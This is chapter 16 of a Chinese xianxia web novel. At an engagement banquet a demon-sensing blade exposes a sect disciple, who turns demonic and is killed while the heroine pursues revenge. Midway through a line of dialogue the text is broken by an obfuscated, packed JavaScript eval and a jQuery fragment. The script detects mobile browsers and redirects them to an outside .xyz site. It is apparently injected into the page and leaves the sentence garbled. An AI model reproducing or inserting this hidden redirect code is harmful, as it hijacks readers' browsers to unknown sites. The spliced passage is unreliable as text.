16.第 16 章
作品:《重回宿敌年少时》 慕夕阙站在高处,垂眸睨着他。
旷悬在鹤阶也是声名藉甚之人,这些年谁见了他不得俯首低眉唤一声“旷悬仙长”,这还是第一次被一个小辈这般看。
他不动声色敛去眸底的晦暗,拱手装模作样道谢:“慕二小姐通情达理,鹤阶代十三州谢过了。”
慕夕阙道:“客气了,您请便。”
旷悬回身,与白望舟对视了眼,后者微微颔首,驱动灵力加注于不渡刀身上。
方才还在虚空中疯狂旋转的不渡刀蓦地停下,刀身微微颤抖,它仍旧停滞在虚空,刀身微微向左偏移。
那些处于左方阵营的家族们顿时警醒,既要戒备不渡刀,又要戒备自己周身的人,说不定便是那染上秽毒、随时会祟化的祟种。
心理上的煎熬让不少人额头出了汗,紧紧盯着不渡刀,这刀能轻易决定一个人的生死。
慕夕阙仍站在高处看着,半分不紧张。
有人来了她身侧,即使不扭头去看,那股浅淡的雪竹香也能让她辨认出来者是谁。
“夕阙。”
慕夕阙侧眸看他:“嗯?怎么了?”
闻惊遥一言不发看着她,唤她的是他,沉默的也是他,两人无声对峙,末了,他垂眸说道:“无事。”
慕夕阙笑了声,懒懒移开视线,接着看台下的这一出戏。
能来参加这桩订婚宴的都是些有头有脸之人,鲜少瞧见这些人脸上有这般凝重神情。
唯独慕夕阙,兴许无人关注她,都在盯着不渡刀的动向,可闻惊遥始终瞧着她,她并未有半分的畏惧和紧张,即使那把刀或许下一刻便会指向她,她仍是像事不关己一般闲散淡然。
不渡刀嗡嗡震鸣,从沅湘周家、青城师家、赤敛燕家……从无数个家族头上转过,它逐渐靠向圆台右边的位置,从后往前,似乎在搜寻秽毒的具体方位。
而这次,随着它越来越往前,那刀身中的紫色竟愈发深邃。
秽毒就在这附近。
被扫过的家族们松了口气,剩下的家族们却又提起了心。
姜榆才十五岁,并未真见过秽毒,但十三州无人不知秽毒的恐惧,多年前那场灭世之灾后,十三州饿殍遍野,城池破碎,死伤惨重。
见不渡刀越来越近,姜榆坐立不安,心跳急促,下意识扯住蔺九尘的衣袖,声音都抖了几分:“师兄,它……它朝我们过来了。”
说不紧张是不可能的,蔺九尘眉头拧得紧,侧身将姜榆拦至身后,他孤身站在慕家队列之前,一人护着身后十几位慕家弟子。
眼见不渡刀逐渐转向淞溪慕家的方位,便是连对面的师盈虚都慌了起来,握紧腕间缚绫,喉口梗塞。
旷悬唇角扯了扯,跟在不渡刀身后,鹤阶弟子有规有矩,慢慢向淞溪慕家围去,慕家弟子握紧了手中的武器。
不渡刀略过慕家旁边的队列。
下一刻,不渡刀光亮大闪,指向一个方位。
刀身急速震动,嗡嗡声响好似在告知它察觉到了秽毒的存在,在场世家皆望向刀尖所指之处。
圆台上的慕家长老同时低呼:“九尘!”
朝蕴几乎瞬间便拔出了剑,身影快如疾风,跃至台下,横剑拦在蔺九尘和不渡刀之间。
姜榆再顾不得恐惧,她毫不犹豫拦上前,张开双臂将蔺九尘护在身后,眼泪和着哆哆嗦嗦的话一起涌出:“滚开!定是你们鹤阶搞的鬼,根本不是我师兄!”
慕家弟子一起上前,拔剑的拔剑,横刀的横刀,围成圈将蔺九尘护在中心,不仅要警惕悬在空中的不渡刀会不会落下,还得提防周围的鹤阶弟子和世家们。
无一人心中不是害怕的,可对同门的维护却又让他们无法退后。
蔺九尘冷眼盯着虚空的不渡刀,它的刀尖指向他的方位,刀身震动。
台上的庄漪禾和闻承禺脸色略沉,闻惊遥下意识看向慕夕阙,出事的是蔺九尘,她如亲兄长般的人,他以为慕夕阙会慌乱。
……可她仍旧面无表情,冷眼瞧着。
“夕阙?”
慕夕阙并未回应他,负手站在台上。
旷悬神情阴冷,一挥拂尘:“慕家大弟子蔺九尘,身染秽毒,后患无穷,若你想要保全慕家名声便自戕谢罪,否则便由我们鹤阶出手,届时——”
话未说完,于众目睽睽之下,悬停的不渡刀忽然又旋转起来,左右摇晃,似乎在确定方位。
旷悬和白望舟都愣了下,愕然看着不渡刀在转了一圈后,停在某个方向。
刀身所指——
鹤阶亲传弟子,阿焕。
阿焕站至慕家队列后,正横剑指向慕家,只待旷悬一声令下,便会上前缉拿蔺九尘,乍然被不渡刀指着,他没反应过来。
而在场几乎所有人都看向了他。
旷悬颤声喃喃:“怎……怎么可能……”
白望舟也沉了脸,再不似方才那般淡然:“难不成是不渡刀出问题了?”
他加注灵力,迫使不渡刀重新确认,而这一次,刀身仍旧旋转一圈,最后停在指向阿焕的方位。
再来一次,仍是如此。
他一遍遍试着,结果如一。
阿焕脸色煞白,下意识看向旷悬:“师父!不可能是我!”
旷悬慌不择声:“怎么可能?”
“为何不可能?”轻飘飘的话响起。
旷悬抬眸看去,慕夕阙垂眸看他,问道:“仙长这般惊讶,是提前便知道不渡刀会指向谁吗,结果令你不敢相信?”
旷悬平日总戴着的笑面都尽数破碎,厉声反驳:“荒唐,慕二小姐只会泼脏水吗?”
慕夕阙了然点头,果断道歉:“哦,抱歉,是我不妥了。”
她轻飘飘说着道歉的话,脸上却都是无所谓,毫无歉意,让人瞧着便心梗,无端觉出一种挑衅的意味。
“你——”旷悬抬手便指。
一人挡在慕夕阙身前,冷眼瞧着他,一个年岁不足他零头的小辈,平日朴素寡淡,沉默话少,如今好似竖起了无形的刺,旷悬与他对视,只觉脊背一股寒意刺骨。
闻惊遥淡声道:“既查出身染秽毒之人是鹤阶弟子,那便有劳仙长清理门户吧。”
变故发生得太过突然,鹤阶弟子也傻着,被不渡刀指着的是阿焕,旷悬唯一的亲传弟子,更是整个鹤阶引以为傲的天才,天赋好,修为高,首席弟子之一。
阿焕白着脸看旷悬:“师父,我并未接触过秽毒——”
话刚说完,脑海里白光一闪,一张脸出现在他的记忆中。
那张普通、毫无特色的脸,年纪不大,穿着一身不太合体的内门弟子衣裳,腰间悬了块闻家玉符,被他重重一撞,手上的托盘掉落在地。
那托盘上放的,是一个琉璃瓷瓶和一盏茶。
那瓷瓶里的东西似乎撒了,倒在了他的衣袖上,可他回去检查之时,却只发现了倒在他袖口的茶水,至于那瓷瓶里是什么,他并不知晓,只当也是茶。
那琉璃瓶里装着的,是茶吗?
那人哪里来的秽毒?
扑通一声,阿焕手里的剑掉在地上。
“阿焕从未接触过祭墟,定是有误,岂能随意便下杀手!”旷悬厉喝。
“如何不可?”朝蕴声音略高,说话间带了压迫,“对我慕家弟子便是立地斩杀,换成鹤阶弟子,便要来日再审?”
师盈虚也大步上前,扬声附和:“就是,你们鹤阶看人下菜啊,那蔺大哥也没去过祭墟啊,照你这逻辑他哪来的秽毒?”
身后的师家弟子赶忙上前拦住这位祖宗,恐鹤阶因此记仇师家。
旷悬意识到什么,骤然抬眸看向高台。
穿着青红婚服的少年身后,慕夕阙微微歪头,眼底还带着笑,金钗尾端的流苏一晃一晃,她这会儿倒是多了些十七岁少女该有的狡黠调皮,偏偏是在这时候。
旷悬握着拂尘的手捏得生响。
……是她。
而慕夕阙已然跃下高台,飞身掠至阿焕身边,速度极快,旷悬和鹤阶弟子甚至尚未来得及拦,她便已经到了阿焕身边。
阿焕反应过来,赶忙捡起地上的剑。
如今乍一得知秽毒可能在自己身上,他整个人都觉得不舒服,肺腑里像是有团火在烧,沿着他四通八达的经脉流窜,烧得他神志不清。
慕夕阙不紧不慢朝他走去:“是你自己动手,还是我来?”
旷悬急忙赶来:“慕二小姐,此事定有争议!”
阿焕不太清醒,转身便要跑,刚走出一步,修长身影瞬移至他面前,周身威压逼得人心头巨颤。
闻惊遥看着他,沉声道:“你走不掉。”
前有狼后有虎,两人一前一后将他堵着,闻家和慕家弟子反应迅速,皆都围了上来,团成圈将旷悬和阿焕围住。
可蔺九尘明明中了秽毒,阿焕亲眼瞧见秽毒上了他的身,他挠着脖颈,语无伦次说道:“师父,那蔺九尘定不正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451356|184069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常!不渡刀……不渡刀最初指的是他!”
旷悬一拂宽袍,飞身上前,他是鹤阶元老级的修士,比蔺九尘修为高得多,便是连朝蕴都没看清他的动作。
眨眼之间,旷悬瞬移至蔺九尘身前,抬手去抓他的胳膊,他一手念咒,那符篆顿时打到蔺九尘身上。
蔺九尘拧眉,反应过来挣扎退开。
姜榆大骂:“你个老东西,对我师兄干了什么!”
旷悬冷眼道:“显邪符,不渡刀方才指向你,若你身上真没有邪佞之物,这符篆便无用。”
姜榆上前推了他一把:“老东西,你就是故意的!”
蔺九尘拦住她,将她扯向身后,他毫无反应,冷冷与旷悬对视。
一息,两息……十息过去,毫无动静。
“嗤。”
有人笑了一声。
旷悬不可置信盯着蔺九尘:“你……你怎么可能……”
他身体里并没有邪佞之物,甚至连一丝恶念都没,因为显邪符毫无动静,更别提秽毒这种大邪之物。
蔺九尘是个毫无邪念,正直磊落之人。
慕夕阙顺手抽了一位慕家弟子的佩剑,一扫方才的不正经,脸色冷沉:“鹤阶弟子阿焕,身染秽毒,后患无穷,为护十三州安宁,请鹤阶为民除患。”
她看向慌乱的旷悬和远处冷脸的白望舟,一字一句说:“若你们鹤阶不便出手,便由我来,我这人出手狠辣,届时兴许便留不得全尸了。”
上一辈子,鹤阶敲碎了蔺九尘每一根骨头,逼他自戕,而旷悬说过的话,她如今还给他。
“慕夕阙!”
阿焕摇摇脑袋,脖颈上爬上狰狞黑纹,仿佛有什么东西在皮肤下的经脉中涌动,他的瞳仁逐渐不清,黑白分明的眼球上爬上道道红纹。
闻惊遥蹙眉,沉声道:“他在祟化。”
人声嘈杂,僵持被打破,祟种诞生便是大灾。
其余看戏的世家再也无法坐视不理,皆厉声低喝:“列阵,除祟!”
不渡刀察觉到浓重秽毒,刀身疯狂震动,连白望舟都要险些压制不住。
旷悬心下慌张,下意识便要上前带阿焕离开,朝蕴快步来至他身前,与他缠斗在一起。
围着阿焕的弟子们一拥而上,朝阿焕斩去。
可将要祟化的修士境界会迅速上涨,根本不是这些弟子能近身的,修为高的长老们一起涌上前,而阿焕俨然疯癫,不由分说撕开围困朝慕夕阙攻了过来。
慕夕阙动也不动,阿焕面目狰狞朝她劈剑,剑身离她的面门一寸之遥,青影挡在她身前,一只骨节分明的手牢牢扣住他的剑柄,拦下一只半祟化的祟种劈下的剑。
接着,闻惊遥一手横掌,蕴出灵力重重打在阿焕身上,将他猛地掀飞。
阿焕挣扎迅速起身,又朝她扑了过来。
慕夕阙沉声道:“师兄!”
金光滔天,一刀祭出,直接从阿焕的后心穿过,长而锋利的刀身穿过他的身躯,从前胸露出的刀尖上,一滴滴鲜血落下。
目睹一切的旷悬目眦欲裂:“阿焕!”
阿焕轰然倒地。
在他将要彻底祟化前,一柄长刀将他穿了心,除了这只会令无数人死去的祟种。
飞溅的血落至蔺九尘脸上,他修挺的眉紧皱,隔着十丈的距离与慕夕阙对视,她的婚服未染上一缕尘埃,仍旧干净整洁,安静站在那里,两人目光撞在一起,无声对视。
随后,蔺九尘拔出自己的刀,转身离开。
闻惊遥垂眸,瞧了眼倒地的阿焕,收起目光,侧首瞧着身边的人。
“看我干什么?”慕夕阙笑盈盈看着他,又是那副不正经的模样。
可闻惊遥在她的眼睛中,瞧出的是无法遮掩的难过和复杂,以及尚未掩去的仇恨。
两人对视片刻,少年喉结滚了滚,那些想问又不敢问的话,终究还是被自己咽下。
他低声问:“订婚宴还继续吗?”
慕夕阙低头,牵起他修长如玉,执剑有力的手。
她握着他的手,贴在自己的脸侧,眼眸弯弯看着他,态度亲昵:“当然啊,继续,办完订婚宴你来找我,有话跟你说。”
慕夕阙握紧闻惊遥的手,视线一转,望向百步之外,负手而立、正沉沉看她的燕如珩。
以及他身后,无数张刻入她骨髓的脸。
她要护住的,是整个慕家。
她要杀的人,也不止一个阿焕。